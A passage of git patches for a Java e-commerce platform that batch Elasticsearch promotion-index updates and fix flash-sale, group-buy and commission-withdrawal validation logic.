=?UTF-8?q?=E6=9B=B4=E6=96=B0=EF=BC=8C=E6=8A=8A=E5=8D=95=E6=AC=A1=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E4=BC=98=E5=8C=96=E4=B8=BA=E6=89=B9=E9=87=8F=E6=9B=B4?= =?UTF-8?q?=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 3 +- .../search/service/EsGoodsIndexService.java | 10 +- .../serviceimpl/EsGoodsIndexServiceImpl.java | 101 ++++++++++++------ 3 files changed, 73 insertions(+), 41 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index ce934a8f..95c07362 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -144,7 +144,6 @@ public class GoodsMessageListener implements RocketMQListener { break; case DELETE_GOODS_INDEX_PROMOTIONS: BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class); - log.info("删除索引信息: {}", promotions); if (CharSequenceUtil.isNotEmpty(promotions.getScopeId())) { this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(Arrays.asList(promotions.getScopeId().split(",")), promotions.getId()); } else { @@ -264,7 +263,7 @@ public class GoodsMessageListener implements RocketMQListener { this.goodsIndexService.updateEsGoodsIndexAllByList(promotions, esPromotionKey); } } catch (Exception e) { - log.error("生成商品索引促销信息执行异常",e); + log.error("生成商品索引促销信息执行异常", e); } } diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index 0535adcf..6ff46c49 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -6,6 +6,7 @@ import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.search.entity.dos.EsGoodsIndex; +import org.elasticsearch.action.update.UpdateRequest; import java.util.List; import java.util.Map; @@ -25,9 +26,11 @@ public interface EsGoodsIndexService { /** * 获取es生成索引进度 + * * @return */ Map getProgress(); + /** * 添加商品索引 * @@ -99,14 +102,13 @@ public interface EsGoodsIndexService { * @param id id(skuId) * @param promotion 促销信息 * @param key 促销信息的key - * @param price 促销价格 */ - void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price); + UpdateRequest updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key); /** * 更新商品索引的促销信息 * - * @param ids id(skuId) + * @param ids id(skuId) * @param promotion 促销信息 * @param key 促销信息的key */ @@ -140,7 +142,7 @@ public interface EsGoodsIndexService { /** * 删除索引中指定的促销活动id的促销活动 * - * @param skuIds 商品skuId + * @param skuIds 商品skuId * @param promotionId 促销活动Id */ void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId); diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 629ae01a..f3c3d105 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -23,9 +23,7 @@ import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.enums.GoodsWordsTypeEnum; import cn.lili.modules.goods.service.*; import cn.lili.modules.promotion.entity.dos.BasePromotions; -import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.promotion.tools.PromotionTools; @@ -39,6 +37,7 @@ import lombok.extern.slf4j.Slf4j; import org.assertj.core.util.IterableUtil; import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.bulk.BulkRequest; +import org.elasticsearch.action.bulk.BulkResponse; import org.elasticsearch.action.update.UpdateRequest; import org.elasticsearch.client.RequestOptions; import org.elasticsearch.index.query.BoolQueryBuilder; @@ -355,20 +354,14 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } @Override - public void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price) { + public UpdateRequest updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key) { EsGoodsIndex goodsIndex = findById(id); if (goodsIndex != null) { - //如果有促销活动开始,则将促销金额写入 - if (price != null) { - goodsIndex.setPromotionPrice(price); - } else { - //否则促销金额为商品原价 - goodsIndex.setPromotionPrice(goodsIndex.getPrice()); - } //更新索引 - this.updateGoodsIndexPromotion(goodsIndex, key, promotion); + return this.updateGoodsIndexPromotion(goodsIndex, key, promotion); } else { log.error("更新索引商品促销信息失败!skuId 为 {} 的索引不存在!", id); + return null; } } @@ -381,24 +374,40 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements */ @Override public void updateEsGoodsIndexPromotions(List ids, BasePromotions promotion, String key) { + BulkRequest bulkRequest = new BulkRequest(); + log.info("修改商品活动索引"); + log.info("商品ids: {}", ids); + log.info("活动关键字: {}", key); + log.info("活动: {}", promotion); for (String id : ids) { - this.updateEsGoodsIndexPromotions(id, promotion, key, null); + UpdateRequest updateRequest = this.updateEsGoodsIndexPromotions(id, promotion, key); + if (updateRequest != null) { + bulkRequest.add(updateRequest); + } } + this.executeBulkUpdateRequest(bulkRequest); } + @Override public void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotions promotion, String key) { + BulkRequest bulkRequest = new BulkRequest(); + log.info("修改商品活动索引"); + log.info("促销商品信息: {}", promotionGoodsList); + log.info("活动关键字: {}", key); + log.info("活动: {}", promotion); if (promotionGoodsList != null) { //循环更新 促销商品索引 for (PromotionGoods promotionGoods : promotionGoodsList) { - Double price = null; - if (promotion instanceof Seckill || promotion instanceof Pintuan) { - price = promotionGoods.getPrice(); + promotion.setStartTime(promotionGoods.getStartTime()); + promotion.setEndTime(promotionGoods.getEndTime()); + UpdateRequest updateRequest = this.updateEsGoodsIndexPromotions(promotionGoods.getSkuId(), promotion, key); + if (updateRequest != null) { + bulkRequest.add(updateRequest); } - this.updateEsGoodsIndexPromotions(promotionGoods.getSkuId(), promotion, key, price); } } - + this.executeBulkUpdateRequest(bulkRequest); } /** @@ -422,15 +431,12 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } else { //否则是平台活动 Iterable all = goodsIndexRepository.findAll(); -// 查询出全部商品 + //查询出全部商品 goodsIndices = new ArrayList<>(IterableUtil.toCollection(all)); } List skuIds = goodsIndices.stream().map(EsGoodsIndex::getId).collect(Collectors.toList()); this.deleteEsGoodsPromotionByPromotionId(skuIds, promotion.getId()); - //更新商品索引 - for (EsGoodsIndex goodsIndex : goodsIndices) { - this.updateGoodsIndexPromotion(goodsIndex, key, promotion); - } + this.updateEsGoodsIndexPromotions(skuIds, promotion, key); } @Override @@ -456,21 +462,32 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements @Override public void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId) { + BulkRequest bulkRequest = new BulkRequest(); + log.info("删除商品活动索引"); + log.info("商品skuIds: {}", skuIds); + log.info("活动Id: {}", promotionId); if (skuIds != null && !skuIds.isEmpty()) { for (String skuId : skuIds) { EsGoodsIndex goodsIndex = findById(skuId); //商品索引不为空 if (goodsIndex != null) { - this.removePromotionByPromotionId(goodsIndex, promotionId); + UpdateRequest updateRequest = this.removePromotionByPromotionId(goodsIndex, promotionId); + if (updateRequest != null) { + bulkRequest.add(updateRequest); + } } else { log.error("更新索引商品促销信息失败!skuId 为 【{}】的索引不存在!", skuId); } } } else { for (EsGoodsIndex goodsIndex : this.goodsIndexRepository.findAll()) { - this.removePromotionByPromotionId(goodsIndex, promotionId); + UpdateRequest updateRequest = this.removePromotionByPromotionId(goodsIndex, promotionId); + if (updateRequest != null) { + bulkRequest.add(updateRequest); + } } } + this.executeBulkUpdateRequest(bulkRequest); } @@ -480,15 +497,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param goodsIndex 索引 * @param promotionId 促销活动id */ - private void removePromotionByPromotionId(EsGoodsIndex goodsIndex, String promotionId) { + private UpdateRequest removePromotionByPromotionId(EsGoodsIndex goodsIndex, String promotionId) { Map promotionMap = goodsIndex.getPromotionMap(); if (promotionMap != null && !promotionMap.isEmpty()) { //如果存在同促销ID的活动删除 List collect = promotionMap.keySet().stream().filter(i -> i.split("-")[1].equals(promotionId)).collect(Collectors.toList()); collect.forEach(promotionMap::remove); goodsIndex.setPromotionMap(promotionMap); - this.updatePromotionsByScript(goodsIndex.getId(), promotionMap); + return this.getGoodsIndexPromotionUpdateRequest(goodsIndex.getId(), promotionMap); } + return null; } /** @@ -594,11 +612,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param key 关键字 * @param promotion 活动 */ - private void updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotions promotion) { - log.info("修改商品活动索引"); - log.info("商品索引: {}", goodsIndex); - log.info("关键字: {}", key); - log.info("活动: {}", promotion); + private UpdateRequest updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotions promotion) { Map promotionMap; //数据非空处理,如果空给一个新的信息 if (goodsIndex.getPromotionMap() == null || goodsIndex.getPromotionMap().isEmpty()) { @@ -613,7 +627,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } else { promotionMap.put(key, promotion); } - this.updatePromotionsByScript(goodsIndex.getId(), promotionMap); + return this.getGoodsIndexPromotionUpdateRequest(goodsIndex.getId(), promotionMap); } /** @@ -622,7 +636,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param id 索引id * @param promotionMap 促销信息 */ - private void updatePromotionsByScript(String id, Map promotionMap) { + private UpdateRequest getGoodsIndexPromotionUpdateRequest(String id, Map promotionMap) { JSONObject jsonObject = JSONUtil.parseObj(promotionMap); jsonObject.setDateFormat("yyyy-MM-dd HH:mm:ss"); String s = jsonObject.toString(); @@ -633,10 +647,27 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements updateRequest.id(id); updateRequest.retryOnConflict(5); updateRequest.script(new Script("ctx._source." + "promotionMap" + "=" + promotionsStr + ";")); + return updateRequest; + } + + /** + * 执行批量更新商品索引 + * + * @param bulkRequest 批量请求 + */ + private void executeBulkUpdateRequest(BulkRequest bulkRequest) { + if (bulkRequest.requests().isEmpty()) { + return; + } try { - client.update(updateRequest, RequestOptions.DEFAULT); + BulkResponse responses = this.client.bulk(bulkRequest, RequestOptions.DEFAULT); + if (responses.hasFailures()) { + log.info("批量更新商品索引的促销信息中出现部分异常:{}", responses.buildFailureMessage()); + } else { + log.info("批量更新商品索引的促销信息结果:{}", responses.status()); + } } catch (IOException e) { - log.error("更新商品索引促销信息错误", e); + log.error("批量更新商品索引的促销信息出现异常!", e); } } From d4ca3d58176c3b4ac9c30c618a2df28fd3e444cf Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 30 Dec 2021 17:00:32 +0800 Subject: [PATCH 130/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E7=A7=92=E6=9D=80?= =?UTF-8?q?=E5=BA=93=E5=AD=98=E5=89=8D=E5=90=8E=E7=AB=AF=E6=98=BE=E7=A4=BA?= =?UTF-8?q?=E4=B8=8D=E4=B8=80=E8=87=B4=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/service/SeckillService.java | 8 +++ .../serviceimpl/SeckillApplyServiceImpl.java | 50 ++++++++----------- .../serviceimpl/SeckillServiceImpl.java | 45 ++++++++++++----- 3 files changed, 62 insertions(+), 41 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index b0edb0b5..2b916e61 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -54,6 +54,14 @@ public interface SeckillService extends AbstractPromotionsService { */ void updateEsGoodsSeckill(Seckill seckill, List seckillApplies); + /** + * 删除商品索引限时抢购信息 + * + * @param seckill 限时抢购信息 + * @param skuIds 商品skuId列表 + */ + void deleteEsGoodsSeckill(Seckill seckill, List skuIds); + /** * 设置秒杀活动的每个参与活动商品的详细时间 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java index 108597d0..c8df9dbb 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java @@ -4,7 +4,6 @@ import cn.hutool.core.bean.BeanUtil; import cn.hutool.core.date.DatePattern; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.hutool.core.text.CharSequenceUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; @@ -27,7 +26,6 @@ import cn.lili.modules.promotion.mapper.SeckillApplyMapper; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; -import cn.lili.modules.promotion.tools.PromotionCacheKeys; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; @@ -58,7 +56,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl> cache; + private Cache cache; /** * 规格商品 */ @@ -78,28 +76,17 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimeline() { //秒杀活动缓存key - return getSeckillTimelineToCache(null); + return getSeckillTimelineInfo(); } @Override public List getSeckillGoods(Integer timeline) { List seckillGoodsVoS = new ArrayList<>(); - //秒杀活动缓存key - String seckillCacheKey = PromotionCacheKeys.getSeckillTimelineKey(DateUtil.format(DateUtil.beginOfDay(new DateTime()), "yyyyMMdd")); - List cacheSeckill = cache.get(seckillCacheKey); - if (cacheSeckill == null || cacheSeckill.isEmpty()) { - //如缓存中不存在,则单独获取 - List seckillTimelineToCache = getSeckillTimelineToCache(seckillCacheKey); - Optional first = seckillTimelineToCache.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); - if (first.isPresent()) { - seckillGoodsVoS = first.get().getSeckillGoodsList(); - } - } else { - //如缓存中存在,则取缓存中转为展示的信息 - Optional first = cacheSeckill.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); - if (first.isPresent()) { - seckillGoodsVoS = first.get().getSeckillGoodsList(); - } + //获取 + List seckillTimelineToCache = getSeckillTimelineInfo(); + Optional first = seckillTimelineToCache.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); + if (first.isPresent()) { + seckillGoodsVoS = first.get().getSeckillGoodsList(); } return seckillGoodsVoS; } @@ -191,6 +178,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl().eq(SeckillApply::getSeckillId, seckillId).in(SeckillApply::getSkuId, skuIds)); this.saveBatch(originList); //保存促销活动商品信息 @@ -201,12 +189,14 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimelineToCache(String seckillCacheKey) { + private List getSeckillTimelineInfo() { List timelineList = new ArrayList<>(); LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); //查询当天时间段内的秒杀活动活动 @@ -321,9 +311,6 @@ public class SeckillApplyServiceImpl extends ServiceImpl map = new HashMap<>(); - // es促销key - map.put("esPromotionKey", promotionKey); - // 促销类型全路径名 - map.put("promotionsType", Seckill.class.getName()); - // 促销实体 - map.put("promotions", seckill); - //更新商品促销消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); } } + if (!seckillApplies.isEmpty()) { + log.info("更新限时抢购商品状态:{}", seckill); + String promotionKey = PromotionTypeEnum.SECKILL.name() + "-" + seckill.getId(); + Map map = new HashMap<>(); + // es促销key + map.put("esPromotionKey", promotionKey); + // 促销类型全路径名 + map.put("promotionsType", Seckill.class.getName()); + // 促销实体 + map.put("promotions", seckill); + //更新商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); + } } } + /** + * 删除商品索引限时抢购信息 + * + * @param seckill 限时抢购信息 + * @param skuIds 商品skuId列表 + */ + @Override + public void deleteEsGoodsSeckill(Seckill seckill, List skuIds) { + seckill.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + seckill.setScopeId(ArrayUtil.join(skuIds.toArray(), ",")); + //删除商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(seckill), RocketmqSendCallbackBuilder.commonCallback()); + } + @Override public void setSeckillApplyTime(Seckill seckill, SeckillApply seckillApply) { //下一个时间,默认为当天结束时间 From 814533a2c22318431c2da3895ef3893490a1b3cd Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 30 Dec 2021 17:01:32 +0800 Subject: [PATCH 131/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=88=86=E9=94=80?= =?UTF-8?q?=E5=95=86=E5=93=81=E4=BD=A3=E9=87=91=E6=8F=90=E7=8E=B0=E5=8F=82?= =?UTF-8?q?=E6=95=B0=E6=A0=A1=E9=AA=8C=E6=97=A0=E6=95=88=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../distribution/DistributionCashBuyerController.java | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java index 4b6d310e..7ec0aa65 100644 --- a/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java @@ -13,6 +13,7 @@ import io.swagger.annotations.ApiImplicitParam; import io.swagger.annotations.ApiImplicitParams; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; @@ -33,6 +34,7 @@ import javax.validation.constraints.NotNull; @RestController @Api(tags = "买家端,分销商品佣金提现接口") @RequestMapping("/buyer/distribution/cash") +@Validated public class DistributionCashBuyerController { /** @@ -55,7 +57,7 @@ public class DistributionCashBuyerController { public ResultMessage cash(@Max(value = 1000, message = "提现金额单次最多允许提现1000元") @Min(value = 1, message = "提现金额单次最少提现金额为1元") @NotNull @ApiIgnore Double price) { - if (distributionCashService.cash(price)) { + if (Boolean.TRUE.equals(distributionCashService.cash(price))) { return ResultUtil.success(); } throw new ServiceException(ResultCode.ERROR); From 0c4aef307a111e90ea3730c687c79f22926c0204 Mon Sep 17 00:00:00 2001 From: paulGao Date: Fri, 31 Dec 2021 15:19:17 +0800 Subject: [PATCH 132/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=8B=BC=E5=9B=A2?= =?UTF-8?q?=E5=95=86=E5=93=81=E4=BD=BF=E7=94=A8=E4=BC=98=E6=83=A0=E5=88=B8?= =?UTF-8?q?=E6=97=A0=E6=95=88=E9=97=AE=E9=A2=98=EF=BC=8C=E4=BF=AE=E5=A4=8D?= =?UTF-8?q?=E6=8B=BC=E5=9B=A2=E6=B4=BB=E5=8A=A8=E5=BB=B6=E6=97=B6=E4=BB=BB?= =?UTF-8?q?=E5=8A=A1=E6=97=A0=E6=95=88=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../GlobalControllerExceptionHandler.java | 15 +++++++++++++++ .../order/cart/render/RenderStepStatement.java | 16 ++++++++++++++++ .../modules/order/cart/render/TradeBuilder.java | 8 ++++++-- .../order/cart/service/CartServiceImpl.java | 3 +++ .../order/serviceimpl/OrderServiceImpl.java | 10 ++++------ .../order/serviceimpl/TradeServiceImpl.java | 2 +- .../serviceimpl/PromotionServiceImpl.java | 2 -- .../modules/search/entity/dos/EsGoodsIndex.java | 1 + .../serviceimpl/EsGoodsIndexServiceImpl.java | 3 --- 9 files changed, 46 insertions(+), 14 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java b/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java index c7ad4bc8..bead4682 100644 --- a/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java +++ b/framework/src/main/java/cn/lili/common/exception/GlobalControllerExceptionHandler.java @@ -14,6 +14,7 @@ import org.springframework.web.bind.annotation.RestControllerAdvice; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; +import javax.validation.ConstraintViolationException; import java.util.List; /** @@ -122,4 +123,18 @@ public class GlobalControllerExceptionHandler { return ResultUtil.error(ResultCode.PARAMS_ERROR); } + /** + * bean校验未通过异常 + * + * @see javax.validation.Valid + * @see org.springframework.validation.Validator + * @see org.springframework.validation.DataBinder + */ + @ExceptionHandler(ConstraintViolationException.class) + @ResponseStatus(HttpStatus.BAD_REQUEST) + @ResponseBody + public ResultMessage constraintViolationExceptionHandler(HttpServletRequest request, final Exception e, HttpServletResponse response) { + ConstraintViolationException exception = (ConstraintViolationException) e; + return ResultUtil.error(ResultCode.PARAMS_ERROR.code(), exception.getMessage()); + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java b/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java index f1c4c894..c03d1456 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java @@ -62,6 +62,22 @@ public class RenderStepStatement { RenderStepEnums.DISTRIBUTION, RenderStepEnums.PLATFORM_COMMISSION }; + + /** + * 交易创建前渲染 + * 渲染购物车 生成SN 》分销人员佣金渲染 》平台佣金渲染 + */ + public static RenderStepEnums[] pintuanTradeRender = { + RenderStepEnums.CHECK_DATA, + RenderStepEnums.SKU_PROMOTION, + RenderStepEnums.COUPON, + RenderStepEnums.SKU_FREIGHT, + RenderStepEnums.CART_PRICE, + RenderStepEnums.CART_SN, + RenderStepEnums.DISTRIBUTION, + RenderStepEnums.PLATFORM_COMMISSION + }; + /** * 交易创建前渲染 * 渲染购物车 生成SN 》分销人员佣金渲染 》平台佣金渲染 diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java b/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java index dd15fbb8..b67959f7 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java @@ -71,6 +71,8 @@ public class TradeBuilder { //需要对购物车渲染 if (isSingle(checkedWay)) { renderCartBySteps(tradeDTO, RenderStepStatement.checkedSingleRender); + } else if (checkedWay.equals(CartTypeEnum.PINTUAN)) { + renderCartBySteps(tradeDTO, RenderStepStatement.pintuanTradeRender); } else { renderCartBySteps(tradeDTO, RenderStepStatement.checkedRender); } @@ -93,7 +95,9 @@ public class TradeBuilder { //需要对购物车渲染 if (isSingle(checkedWay)) { renderCartBySteps(tradeDTO, RenderStepStatement.singleTradeRender); - } else { + } else if (checkedWay.equals(CartTypeEnum.PINTUAN)) { + renderCartBySteps(tradeDTO, RenderStepStatement.pintuanTradeRender); + } else { renderCartBySteps(tradeDTO, RenderStepStatement.tradeRender); } @@ -110,7 +114,7 @@ public class TradeBuilder { private boolean isSingle(CartTypeEnum checkedWay) { //拼团 积分 砍价商品 - return (checkedWay.equals(CartTypeEnum.PINTUAN) || checkedWay.equals(CartTypeEnum.POINTS) || checkedWay.equals(CartTypeEnum.KANJIA)); + return (checkedWay.equals(CartTypeEnum.POINTS) || checkedWay.equals(CartTypeEnum.KANJIA)); } /** diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index a8fcf964..c6938fa5 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -587,6 +587,9 @@ public class CartServiceImpl implements CartService { if (promotionsGoods != null && promotionsGoods.getPrice() != null) { dataSku.setPromotionFlag(true); dataSku.setPromotionPrice(promotionsGoods.getPrice()); + } else { + dataSku.setPromotionFlag(false); + dataSku.setPromotionPrice(null); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index 67fe15e4..9fdc560f 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -367,7 +367,8 @@ public class OrderServiceImpl extends ServiceImpl implements //判断是否为拼团订单,进行特殊处理 //判断订单类型进行不同的订单确认操作 if (OrderPromotionTypeEnum.PINTUAN.name().equals(order.getOrderPromotionType())) { - this.checkPintuanOrder(order.getPromotionId(), order.getParentOrderSn()); + String parentOrderSn = CharSequenceUtil.isEmpty(order.getParentOrderSn()) ? orderSn : order.getParentOrderSn(); + this.checkPintuanOrder(order.getPromotionId(), parentOrderSn); } else { //判断订单类型 if (order.getOrderType().equals(OrderTypeEnum.NORMAL.name())) { @@ -789,10 +790,6 @@ public class OrderServiceImpl extends ServiceImpl implements * @param parentOrderSn 拼团父订单编号 */ private void checkPintuanOrder(String pintuanId, String parentOrderSn) { - //拼团有效参数判定 - if (CharSequenceUtil.isEmpty(parentOrderSn)) { - return; - } //获取拼团配置 Pintuan pintuan = pintuanService.getById(pintuanId); List list = this.getPintuanOrder(pintuanId, parentOrderSn); @@ -800,7 +797,8 @@ public class OrderServiceImpl extends ServiceImpl implements if (count == 1) { //如果为开团订单,则发布一个一小时的延时任务,时间到达后,如果未成团则自动结束(未开启虚拟成团的情况下) PintuanOrderMessage pintuanOrderMessage = new PintuanOrderMessage(); - long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); +// long startTime = DateUtil.offsetHour(new Date(), 1).getTime(); + long startTime = DateUtil.offsetMinute(new Date(), 2).getTime(); pintuanOrderMessage.setOrderSn(parentOrderSn); pintuanOrderMessage.setPintuanId(pintuanId); TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java index 213264bc..f7dbbd88 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/TradeServiceImpl.java @@ -1 +1 @@ -package cn.lili.modules.order.order.serviceimpl; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.order.cart.entity.dto.MemberCouponDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.mapper.TradeMapper; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.TradeService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OrderTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import 